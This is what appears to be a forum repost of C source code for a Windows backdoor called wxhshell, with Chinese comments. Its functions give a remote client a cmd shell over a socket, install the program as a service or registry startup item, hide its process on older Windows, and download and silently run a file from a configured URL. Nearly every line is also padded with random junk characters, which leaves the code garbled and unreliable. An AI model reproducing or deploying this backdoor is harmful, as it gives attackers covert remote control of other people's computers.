    switch(cmd[0]) { pR>QIZq<gT  
  %~XJwy-  
  // 帮助 z4:09!o_  
  case '?': { pvxqeC9`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W?Abx  
    break; ?+o7Y1 k,  
  } T7_rnEOO   
  // 安装 58U[r)/  
  case 'i': { 5j5t?G;d,  
    if(Install()) ^q r[?ky]&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tO3B_zC  
    else "z4E|s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yE{UV>ry  
    break; 4zbV' ]  
    } io_64K+K  
  // 卸载 b?L43t,  
  case 'r': { 9 NSYrIQ"  
    if(Uninstall()) j'cCX[i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \9Zfu4WR  
    else 7O :Gi*MA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A1T;9`E  
    break; sJ()ItU5i  
    } ~3]8f0^%m  
  // 显示 wxhshell 所在路径 B%;+8]  
  case 'p': { <WkLwP3^  
    char svExeFile[MAX_PATH]; |<icx8hbr  
    strcpy(svExeFile,"\n\r"); vtjG&0GSK  
      strcat(svExeFile,ExeFile); D)6||z}  
        send(wsh,svExeFile,strlen(svExeFile),0); RlI qH;n  
    break; oC>~r 1.j  
    } o:ob1G[p%  
  // 重启 ;%9ZL[-  
  case 'b': { [/]3:|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !XceiQu  
    if(Boot(REBOOT)) J1MnkxJmpQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #R| 4(HlL  
    else { b~echOj  
    closesocket(wsh); +Q&@2 oY"  
    ExitThread(0); u:?RdB}B_@  
    } ]xs\,}I%  
    break; NKYyMHv6  
    } c~;.m<yrf  
  // 关机 \LXNdE2B  
  case 'd': { H[U*' 2TJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |REU7?B  
    if(Boot(SHUTDOWN)) "<b84?V5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vdyx74xX  
    else { H-lRgJdc  
    closesocket(wsh); \/zS@fz  
    ExitThread(0); yY|U}]u!V  
    } LnIJ wD  
    break; X / "H+l  
    } W0hLh<Go  
  // 获取shell cH ?]uu(  
  case 's': { 8yl /!O,v  
    CmdShell(wsh); _~"3 LB  
    closesocket(wsh); rR;Om1 -,  
    ExitThread(0); EQ-~e   
    break; :{<HiJdp  
  } '(*D3ysU  
  // 退出 w"J(sVy4  
  case 'x': { n_hD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~o$=(EC  
    CloseIt(wsh); #kEdf0  
    break; *x!5I$~J  
    } ['<rfK  
  // 离开 =r8(9:F!  
  case 'q': { fRmc_tx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z O^ +KE"  
    closesocket(wsh); j>zVC;Sj*  
    WSACleanup(); '@bA_F(  
    exit(1); |n/id(R+  
    break; SQK6BEjE8  
        } eS|p3jk;  
  } TB\CSXb  
  } uOx$@1v,  
!j@ 8:j0WY  
  // 提示信息 q\<vCKI-^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oY: "nE  
} ;MD{p1w  
  } 3 -FNd~%  
`)fGw7J {  
  return; |v&&%>A2  
} )Ec;krb+  
s+11) ~  
// shell模块句柄 }, H,ky  
int CmdShell(SOCKET sock) ]]4E)j8  
{ ^C{a'  
STARTUPINFO si; ~qF9*{~!  
ZeroMemory(&si,sizeof(si)); f#jAjzmYL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %/y/,yd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AJ /_l;  
PROCESS_INFORMATION ProcessInfo; }PJ:9<G y  
char cmdline[]="cmd"; 2ou?:5i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?{V[bm  
  return 0; |r%P.f:y{X  
} ~ +Y;jA dU  
$- L)>"  
// 自身启动模式 s*@.qN  
int StartFromService(void) w;"'l]W  
{ f&|SGD*  
typedef struct \l~h#1|%;s  
{ w_ m  
  DWORD ExitStatus; \wd~ Y  
  DWORD PebBaseAddress; %lxo?s@GE  
  DWORD AffinityMask; :?TV6M  
  DWORD BasePriority; Q=[&~^ Y)  
  ULONG UniqueProcessId; ]!QeJ'BLM  
  ULONG InheritedFromUniqueProcessId; (|-/S0AV  
}   PROCESS_BASIC_INFORMATION; Z.<B>MD8^  
Tm `CA0@  
PROCNTQSIP NtQueryInformationProcess; 0=04:.%D  
= ~yh[@R)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~kL":C>2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n| %{R|s  
= FQH  
  HANDLE             hProcess; k"6^gup(U  
  PROCESS_BASIC_INFORMATION pbi; R[z6 c )  
l"Css~^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Vy biuP  
  if(NULL == hInst ) return 0; @ 9uwcM1F  
8PQ& 7o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ``={FaV~m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); laAG%lq/'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,SBL~JJ  
&lD4-_2J  
  if (!NtQueryInformationProcess) return 0; 4 ClW*l  
C1_NGOvT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QwiC2}/  
  if(!hProcess) return 0; h OV+}P6  
#Jn_"cCRLx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Sb<=ROCg@  
/{lls2ycW%  
  CloseHandle(hProcess); +XQ6KG&  
-Fb/GZt|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); czj[U|eB}=  
if(hProcess==NULL) return 0; 4):\,>%pK  
Uc&0>_Z  
HMODULE hMod; #M:W?&.  
char procName[255]; r6A7}v  
unsigned long cbNeeded; UuN(+&oD-  
umi#Se3&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K3jno+U&  
=I?p(MqW  
  CloseHandle(hProcess); tqHXzmsjW  
niFjsTA.Z  
if(strstr(procName,"services")) return 1; // 以服务启动 0Y\u,\GrxW  
.w0?  
  return 0; // 注册表启动 DQ,QyV  
} Y$N|p{Z  
9:P)@UF  
// 主模块 6ik6JL$AI  
int StartWxhshell(LPSTR lpCmdLine)  9TeDLp  
{ 7Kn=[2J5k'  
  SOCKET wsl; 6A%Y/oU+2  
BOOL val=TRUE; bBZvL  
  int port=0; 9Y7 tI3  
  struct sockaddr_in door; XOxm<3gXn  
3M^ /   
  if(wscfg.ws_autoins) Install(); @wpm;]  
ioZ2J"s  
port=atoi(lpCmdLine); mCg5-E~;  
ct/I85c@P  
if(port<=0) port=wscfg.ws_port; y&iLhd!p  
 X'0A"9  
  WSADATA data; >~6 ;9{@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <{'':/tXI  
BYu|loc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e Q0bx&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?L_#AdK  
  door.sin_family = AF_INET; *FO']D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~Su>^T(?-  
  door.sin_port = htons(port); $BG9<:p  
*G=n${'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y#uf 2>J  
closesocket(wsl); *rA!`e*  
return 1; sO6+L #!  
} 4p F%G  
7bTs+C_;7  
  if(listen(wsl,2) == INVALID_SOCKET) {  ;v.l<AOE  
closesocket(wsl); @#sQ7eMoy  
return 1; keX0br7u_  
} ak<?Eu9rV  
  Wxhshell(wsl); !Qn:PSk  
  WSACleanup(); Qg3 -%i/@  
gp;(M~we  
return 0; "ibKi=  
.sCo,  
} F> ..eK  
eE1w<] Eg  
// 以NT服务方式启动 *#~3\{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) anv_I=  
{ G3KiU($V  
DWORD   status = 0; W/fM0=!  
  DWORD   specificError = 0xfffffff; GAQVeL1  
~bg FU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R9{6$djq\:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E-l>z%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U%2pbGU  
  serviceStatus.dwWin32ExitCode     = 0; ^M8\ 3G  
  serviceStatus.dwServiceSpecificExitCode = 0; Jzh_`jW0l  
  serviceStatus.dwCheckPoint       = 0; 89~)nV)  
  serviceStatus.dwWaitHint       = 0; ?9/%K45  
0^zu T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VYvHpsI  
  if (hServiceStatusHandle==0) return; *S*;rLH9c  
%]d^B |  
status = GetLastError(); 'j>Q7M7q{  
  if (status!=NO_ERROR) TqCzpf&&h/  
{ CI ~+(+q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Zb3E-'G+  
    serviceStatus.dwCheckPoint       = 0; DOf[?vbu  
    serviceStatus.dwWaitHint       = 0; !Il<'+ ^  
    serviceStatus.dwWin32ExitCode     = status; `}s)0 /}6  
    serviceStatus.dwServiceSpecificExitCode = specificError; u6|P)8?`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ) 3Eax_?Z  
    return; ~G ,n>  
  } 3]/w3|y  
t hTY('m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V&[|%jm&   
  serviceStatus.dwCheckPoint       = 0; pvkru-i]  
  serviceStatus.dwWaitHint       = 0; 0!\pS{$zB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *S`& X Pj  
} L7C!rS  
.z)&#2E  
// 处理NT服务事件,比如:启动、停止 BIS5u4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q>f1V3  
{ Q;Xb-\\  
switch(fdwControl) q=Q5s?sQc  
{ N(6|TE2  
case SERVICE_CONTROL_STOP: H"].G^V\6  
  serviceStatus.dwWin32ExitCode = 0; kznmA`#jn  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Tj@s\@hv  
  serviceStatus.dwCheckPoint   = 0; B!yAam#^  
  serviceStatus.dwWaitHint     = 0; NkA|T1w7  
  { n*hHqZl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k oZqoP  
  } Dtt[a  
  return; Qgf\gTF$r+  
case SERVICE_CONTROL_PAUSE: K%Jy?7 U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L-",.U*;  
  break; D'c, z[  
case SERVICE_CONTROL_CONTINUE: szGp<xv_p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Tgc)'8A;BN  
  break; cT-XF  
case SERVICE_CONTROL_INTERROGATE: z'XFwk  
  break; t@.M;b8  
};  NDm3kMa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9!}&&]Q`  
} >Y!5c 2~`;  
mO(m%3  
// 标准应用程序主函数 -}4<P}.5T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K9 :I8E<  
{ hZU @35~BN  
=T|Z[/fto  
// 获取操作系统版本 Tz:mj  
OsIsNt=GetOsVer(); rq:R6e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /2tgxm$}  
;gP@d`s  
  // 从命令行安装 XN'x`%!*3#  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9YwK1[G6/  
-[^aWNqyJ  
  // 下载执行文件 wRCGfILw  
if(wscfg.ws_downexe) { Ox Zw;yD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @OV\raUO&V  
  WinExec(wscfg.ws_filenam,SW_HIDE); i9 8T+{4  
} %D:Mt|  
DfXXN  
if(!OsIsNt) { Rbm"Qz  
// 如果时win9x,隐藏进程并且设置为注册表启动 [yJcM [p\  
HideProc(); [f!sBJ!  
StartWxhshell(lpCmdLine); \,+act"v  
} 4U( W~O  
else 6p=AzojoB  
  if(StartFromService()) p;,Cvw{.;%  
  // 以服务方式启动 Zx@/5!_n.  
  StartServiceCtrlDispatcher(DispatchTable); MDM/~Qpj_  
else :U$<h  
  // 普通方式启动 Lp`q[Z*  
  StartWxhshell(lpCmdLine); hB]4Tn5H  
b%z4u0  
return 0; )#%k/4(Y  
}
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只看该作者 1 发表于: 2006-10-10
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